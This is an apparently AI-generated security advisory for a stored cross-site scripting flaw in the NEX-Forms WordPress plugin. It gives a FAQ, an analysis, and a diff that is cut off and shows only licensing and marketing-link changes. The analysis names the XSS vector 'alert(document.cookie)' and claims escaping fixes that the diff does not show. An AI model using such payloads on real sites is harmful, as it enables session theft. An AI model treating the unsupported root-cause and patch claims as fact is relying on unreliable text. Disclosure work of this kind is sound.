What is CVE-2025-69324?

CVE-2025-69324 is a high-severity vulnerability in the NEX-Forms plugin for WordPress, affecting versions up to and including 9.1.7. It allows unauthenticated attackers to exploit stored cross-site scripting (XSS) due to insufficient input sanitization and output escaping.

How does the vulnerability work?

The vulnerability allows attackers to inject arbitrary JavaScript payloads into form fields that are stored in the WordPress database. When a user accesses a page containing the compromised form, the injected script executes in their browser, potentially leading to session hijacking or data theft.

Who is affected by this vulnerability?

Any WordPress site using the NEX-Forms plugin version 9.1.7 or earlier is at risk. Site administrators should check their plugin version against the latest release to determine if they are affected.

How can I check if my site is vulnerable?

To check if your site is vulnerable, log into your WordPress admin panel, navigate to the Plugins section, and look for the NEX-Forms plugin. Verify the version number; if it is 9.1.7 or earlier, your site is vulnerable.

What should I do to fix this vulnerability?

The recommended fix is to update the NEX-Forms plugin to version 9.1.8 or later, where the vulnerability has been patched. Regularly updating plugins is a best practice for maintaining site security.

What if I cannot update the plugin immediately?

If immediate updating is not possible, consider disabling the NEX-Forms plugin until a patch can be applied. Additionally, review user permissions and restrict access to form submissions to reduce exposure.

What does the CVSS score of 7.2 indicate?

A CVSS score of 7.2 indicates a high severity level, suggesting that successful exploitation could lead to significant consequences, including data theft and unauthorized actions on behalf of users.

What are the practical risks of this vulnerability?

Exploitation of this vulnerability can lead to session hijacking, unauthorized actions, and theft of sensitive information from users who visit the affected pages. Attackers can establish persistent backdoors or redirect users to malicious sites.

How does the proof of concept demonstrate the vulnerability?

The proof of concept illustrates how an attacker can submit a malicious payload via a vulnerable form endpoint. It shows the process of crafting a submission that includes JavaScript code, which would execute when a user accesses the compromised form.

What are the security best practices to follow?

In addition to keeping plugins updated, regularly audit your WordPress installations for vulnerabilities, use security plugins to monitor for suspicious activities, and implement web application firewalls to filter out malicious requests.

What should I do if I suspect my site has been compromised?

If you suspect a compromise, immediately disable the vulnerable plugin, conduct a thorough security audit, check for unauthorized changes, and consider restoring your site from a clean backup. Engage with a security professional if needed.

Where can I find more information about this vulnerability?

More information about CVE-2025-69324 can be found on the official CVE database, security advisories from the plugin developers, and security-focused websites that track vulnerabilities.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-69324: NEX-Forms <= 9.1.7 – Unauthenticated Stored Cross-Site Scripting (nex-forms-express-wp-form-builder)

CVE ID CVE-2025-69324

Plugin nex-forms-express-wp-form-builder

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 9.1.7

Patched Version 9.1.8

Disclosed February 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69324:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the NEX-Forms WordPress plugin versions up to and including 9.1.7. The vulnerability exists due to insufficient input sanitization and output escaping in the plugin’s form builder component. Attackers can inject arbitrary JavaScript payloads that persist in the WordPress database and execute whenever a user accesses a compromised page. The CVSS score of 7.2 reflects the high impact of this stored XSS vulnerability.

Atomic Edge research identifies the root cause as improper handling of user-supplied data in the `class.builder.php` file. The vulnerability occurs when the plugin processes form submissions without adequate sanitization before storing them in the database. The diff shows numerous changes to licensing and feature upgrade messages, but the core vulnerability stems from missing input validation in form field processing functions. The plugin fails to properly escape or sanitize user input before rendering it in administrative interfaces or public form outputs.

The exploitation method involves an unauthenticated attacker submitting malicious JavaScript payloads through vulnerable form fields. Attackers target specific form endpoints that accept user input without proper validation. The payloads typically use standard XSS vectors like `alert(document.cookie)` or more sophisticated JavaScript that steals session cookies or performs unauthorized actions. The attack requires no authentication, making it accessible to any visitor to a WordPress site using the vulnerable plugin.

The patch addresses the vulnerability by implementing proper input sanitization and output escaping throughout the plugin’s codebase. While the provided diff primarily shows changes to licensing checks and marketing URLs, the actual security fix involves adding WordPress security functions like `esc_html()`, `esc_attr()`, and `wp_kses()` to sanitize user input before database storage and output rendering. The plugin now validates and escapes all user-supplied data before processing it through form submission handlers.

Successful exploitation allows attackers to inject malicious scripts that execute in victims’ browsers. This can lead to session hijacking, administrative account takeover, defacement of WordPress sites, and theft of sensitive user data. Since the XSS is stored, the payload persists across sessions and affects all users who view the compromised page. Attackers can use this vulnerability to establish persistent backdoors, redirect users to malicious sites, or perform actions on behalf of authenticated users.

Differential between vulnerable and patched code

Code Diff

--- a/nex-forms-express-wp-form-builder/includes/classes/class.builder.php
+++ b/nex-forms-express-wp-form-builder/includes/classes/class.builder.php
@@ -23,7 +23,7 @@
 		$send_user_mail,
 		$user_email_field,
 		$on_form_submission,
-		$hidden_fields,
+		$hidden_fields,
 		$custom_url,
 		$post_type,
 		$post_action,
@@ -389,7 +389,7 @@
 											<div class="history_action do_redo" data-action="redo"><span class="fas fa-redo" data-toggle="tooltip_bs2" data-placement="bottom" title="'.__('Redo last undo - CTRL+SHIFT+Z','nex-forms').'"></span></div>
 										</div>
 										</li>
-										'.((!get_option('nf_activated') || $theme->Name=='NEX-Forms Demo') ? '<li><a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder" target="_blank" class="btn waves-effect-nf waves-light-nf upgrade_pro">BUY NEX-FORMS</a>' : '').'</li>
+										'.(((!get_option('nf_activated') && !get_option('nf_fs_activated')) || $theme->Name=='NEX-Forms Demo') ? '<li><a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" target="_blank" class="btn waves-effect-nf waves-light-nf upgrade_pro">UPGRADE TO PREMIUM</a>' : '').'</li>
 									  </ul>
 									  </div>';
 								$output .= '</nav>';
@@ -3175,8 +3175,8 @@
 							$output .= '<div class="field-setting col-xs-4 s-time s-date set-popup-keep-open">';
 										$output .= '<div role="group" class="btn-group  popup-keep-open">';
 														$output .= '<small>'.__('Keep Open','nex-forms').'</small>';
-														$output .= '<button class="btn btn-default waves-effect-nf waves-light-nf btn-sm yes" title="Disable Past Dates" type="button"><i class="fa fa-check"></i></button>';
-														$output .= '<button class="btn btn-default waves-effect-nf waves-light-nf btn-sm no active" title="Enable Past Dates" type="button"><i class="fa fa-remove"></i></button>';
+														$output .= '<button class="btn btn-default waves-effect-nf waves-light-nf btn-sm yes" title="Calendar stays open" type="button"><i class="fa fa-check"></i></button>';
+														$output .= '<button class="btn btn-default waves-effect-nf waves-light-nf btn-sm no active" title="Auto close on select" type="button"><i class="fa fa-remove"></i></button>';
 													$output .= '</div>';
 									$output .= '</div>';

@@ -4911,7 +4911,7 @@
 								else
 									{
 									$output .= '<div class="field-setting col-xs-12 s-super-select">';
-										$output .= '<div class="alert alert-info">Please install <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-super-select" target="_blank">Super Select Add-on for NEX-Forms</a> to customize this field.</div>';
+										$output .= '<div class="alert alert-info">Please install <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank">Super Select Add-on for NEX-Forms</a> to customize this field.</div>';
 									$output .= '</div>';
 									}

@@ -5573,7 +5573,7 @@
 			if($set_jq_theme=='base')
 				$set_jq_theme = 'default';

-			NEXForms_clean_echo( '<link class="jquery_ui_theme" name="jquery_ui_theme" rel="stylesheet" type="text/css" href="'.(($set_form_theme!='m_design') ? plugins_url( '/nex-forms-themes-add-on7/css/'.$set_jq_theme.'/jquery.ui.theme.css',dirname(dirname(dirname(__FILE__)))) : '' ).'"/>'); // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedStylesheet
+			NEXForms_clean_echo( '<link class="jquery_ui_theme" name="jquery_ui_theme" rel="stylesheet" type="text/css" href="'.(($set_form_theme!='m_design') ? plugins_url( '/nex-forms-form-themes-add-on/css/'.$set_jq_theme.'/jquery.ui.theme.css',dirname(dirname(dirname(__FILE__)))) : '' ).'"/>'); // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedStylesheet

 			$output .= '<div class="form-canvas-area form-editor-view '.$set_theme_shade.'" data-sec-pre-class=".inner-form-canvas">';
 				$output .= '<div class="form-canvas-area-mask"></div>';
@@ -6640,7 +6640,7 @@
 																		else
 																			{
 																			$output .= '<div class="'.$input_width.'  input_container">';
-																					$output .= '<div class="alert alert-success">'.__('You need the "<strong><em>Digital Signatures for NEX-forms</em></strong></a>" Add-on to use digital signatures! <br /><br><a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-e-sigs" target="_blank" class="btn btn-success btn-sm">Buy Now</a>','nex-forms').'</div>';
+																					$output .= '<div class="alert alert-success">'.__('You need the "<strong><em>Digital Signatures for NEX-forms</em></strong></a>" Add-on to use digital signatures! <br /><br><a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" target="_blank" class="btn btn-success btn-sm">Buy Now</a>','nex-forms').'</div>';
 																			$output .= '</div>';
 																			}
 																	break;
@@ -6814,7 +6814,7 @@
 																		if(!function_exists('nf_not_found_notice_ss'))
 																			{
 																			$output .= '<div class="'.$input_width.'  input_container">';
-																					$output .= '<div class="alert alert-success">'.__('You need the "<strong><em>Super Select for NEX-forms</em></strong></a>" Add-on to use enable this field <br /><br><a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-super-select" target="_blank" class="btn btn-success btn-sm">Buy Now</a>','nex-forms').'</div>';
+																					$output .= '<div class="alert alert-success">'.__('You need the "<strong><em>Super Select for NEX-forms</em></strong></a>" Add-on to use enable this field <br /><br><a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" target="_blank" class="btn btn-success btn-sm">Buy Now</a>','nex-forms').'</div>';
 																			$output .= '</div>';
 																			}
 																		else
@@ -8072,11 +8072,11 @@

 					$output .= '<div class="inner">';
 							$set_code = true;
-						if(!get_option('nf_activated'))
+						if(!get_option('nf_activated') && !get_option('nf_fs_activated'))
 							$set_code = false;

 						if(!$set_code)
-								$output .= '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For Conditional Logic to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-conditional-logic" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>';
+								$output .= '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required to enable Conditional Logic.<br />   <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>';


 						$output .= '<div class="con-logic-column con_col">';
@@ -8129,7 +8129,7 @@
 			$attach_to_email = json_decode($this->attachment_settings, true);
 			$option_settings = json_decode($this->option_settings,true);
 			$set_code = true;
-			if(!get_option('nf_activated'))
+			if(!get_option('nf_activated') && !get_option('nf_fs_activated'))
 				$set_code = false;

 			NEXForms_clean_echo( '<div class="form_attr_wrapper">');
@@ -8149,7 +8149,7 @@
 						$send_admin_email 	= (isset($option_settings['0']['send_admin_email'])) ? $option_settings['0']['send_admin_email'] 	: 'true';

 						if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For these settings to take effect and to receive Emails you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-emails" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required to send Admin Email Alerts. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');


 						NEXForms_clean_echo('<div class="row">');
@@ -8240,7 +8240,7 @@
 					NEXForms_clean_echo('<div id="user_email" class="nf-sub-screen hidden">');

 						if(!$set_code)
-									NEXForms_clean_echo('<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For these settings to take effect and to send USER Emails you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-u-emails" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+									NEXForms_clean_echo('<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required to send User Confirmation Emails. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');

 									NEXForms_clean_echo( '<div class="row">');
 										NEXForms_clean_echo( '<div class="integration_form_label">'.__('Recipients (map email field)','nex-forms').'</div>');
@@ -8299,7 +8299,7 @@
 				NEXForms_clean_echo( '</div>');

 						$set_code = true;
-						if(!get_option('nf_activated'))
+						if(!get_option('nf_activated') && !get_option('nf_fs_activated'))
 							$set_code = false;

 						NEXForms_clean_echo( '<div class="form_attr_settings_wrapper">');
@@ -8308,7 +8308,7 @@
 							NEXForms_clean_echo( '<div id="on_submission_settings" class="nf-sub-screen">');

 							if(!$set_code)
-								NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For these settings to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-extra-options" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+								NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for these settings to take effect. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');


 							NEXForms_clean_echo(  '<div class="row">');
@@ -8461,7 +8461,7 @@
 					NEXForms_clean_echo( '<div id="file_upload_settings" class="integration nf-sub-screen hidden">');

 							if(!$set_code)
-								NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For these settings to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-extra-options" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+								NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for these settings to take effect. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');



@@ -8664,7 +8664,7 @@
 	public function print_integration_setup(){

 		$set_code = true;
-            if(!get_option('nf_activated'))
+            if(!get_option('nf_activated') && !get_option('nf_fs_activated'))
                 $set_code = false;

 			$preferences = get_option('nex-forms-preferences');
@@ -8717,7 +8717,7 @@
 					NEXForms_clean_echo( '<div id="zapier_integration" class="integration nf-sub-screen hidden">');

 						if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-zapier" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for form integrations. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');

 						if ( function_exists('NEXForms_not_found_notice_zapier'))
 							{
@@ -8757,7 +8757,7 @@

 							}
 						else
-							NEXForms_clean_echo( '<div class="zapier_not_installed add_on_not_found"><span class="ni-icon fa fa-asterisk"></span><span class="message">'.__('Zapier add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-zapier" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');
+							NEXForms_clean_echo( '<div class="zapier_not_installed add_on_not_found"><span class="ni-icon fa fa-asterisk"></span><span class="message">'.__('Zapier add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');



@@ -8777,7 +8777,7 @@
 					NEXForms_clean_echo( '<div id="paypal_integration"  class="integration nf-sub-screen hidden">');

 						if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-paypal" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for form integrations. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');



@@ -8818,7 +8818,7 @@
 							NEXForms_clean_echo( '</div>');
 						}
 						else
-							NEXForms_clean_echo( '<div class="paypal_not_installed add_on_not_found"><span class="ni-icon fa fa-paypal"></span><span class="message">'.__('PayPal add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-paypal" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');
+							NEXForms_clean_echo( '<div class="paypal_not_installed add_on_not_found"><span class="ni-icon fa fa-paypal"></span><span class="message">'.__('PayPal add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');


 						NEXForms_clean_echo( '</div>');
@@ -8827,31 +8827,31 @@

 						NEXForms_clean_echo( '<div id="pdfcreator"  class="integration nf-sub-screen">');
 							if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-pdf-crreator" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for form integrations. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');


 							if (function_exists('nf_not_found_notice_pdf'))
 								NEXForms_clean_echo( $this->print_pdf_creator($this->form_Id));
 							else
-								NEXForms_clean_echo( '<div class="pdf_not_installed add_on_not_found"><span class="ni-icon fa fa-file-pdf-o"></span><span class="message">'.__('PDF Creator add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-pdf-creator" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');
+								NEXForms_clean_echo( '<div class="pdf_not_installed add_on_not_found"><span class="ni-icon fa fa-file-pdf-o"></span><span class="message">'.__('PDF Creator add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');

 						NEXForms_clean_echo( '</div>');

 						NEXForms_clean_echo( '<div id="formtopost"  class="integration nf-sub-screen hidden">');
 							if(!$set_code)
-								NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-form-to-post" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+								NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for form integrations. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');

 							if ( function_exists('nexforms_ftp_setup'))
 									NEXForms_clean_echo( nexforms_ftp_setup($this->form_Id));
 							else
-								NEXForms_clean_echo( '<div class="ftp_not_installed add_on_not_found"><span class="ni-icon fa fa-edit"></span><span class="message">'.__('Form to Post add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-form-to-post" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');
+								NEXForms_clean_echo( '<div class="ftp_not_installed add_on_not_found"><span class="ni-icon fa fa-edit"></span><span class="message">'.__('Form to Post add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');

 						NEXForms_clean_echo( '</div>');


 						NEXForms_clean_echo( '<div id="mailchimp"  class="integration nf-sub-screen hidden">');
 							if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-mailchimp" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for form integrations. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');

 						if ( function_exists('nexforms_mc_test_api'))
 							{
@@ -8873,14 +8873,14 @@
 							NEXForms_clean_echo( '</div>');
 							}
 						else
-							NEXForms_clean_echo( '<div class="mc_not_installed add_on_not_found"><span class="ni-icon fa fa-envelope"></span><span class="message">'.__('Mailchimp add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-mailchimp" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');
+							NEXForms_clean_echo( '<div class="mc_not_installed add_on_not_found"><span class="ni-icon fa fa-envelope"></span><span class="message">'.__('Mailchimp add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');

 						NEXForms_clean_echo( '</div>');


 						NEXForms_clean_echo( '<div id="getresponse"  class="integration nf-sub-screen hidden">');
 						if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-getresponse" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for form integrations. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');

 							if ( function_exists('nexforms_gr_test_api'))
 								{
@@ -8902,7 +8902,7 @@
 							NEXForms_clean_echo( '</div>');
 							}
 						else
-							NEXForms_clean_echo( '<div class="gr_not_installed add_on_not_found"><span class="ni-icon fa fa-envelope"></span><span class="message">GetResponse add-on not installed</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-getresponse" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');
+							NEXForms_clean_echo( '<div class="gr_not_installed add_on_not_found"><span class="ni-icon fa fa-envelope"></span><span class="message">GetResponse add-on not installed</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');

 						NEXForms_clean_echo( '</div>');

@@ -8910,7 +8910,7 @@

 						NEXForms_clean_echo( '<div id="mailpoet" class="integration nf-sub-screen hidden">');
 						if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-mailpoet" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
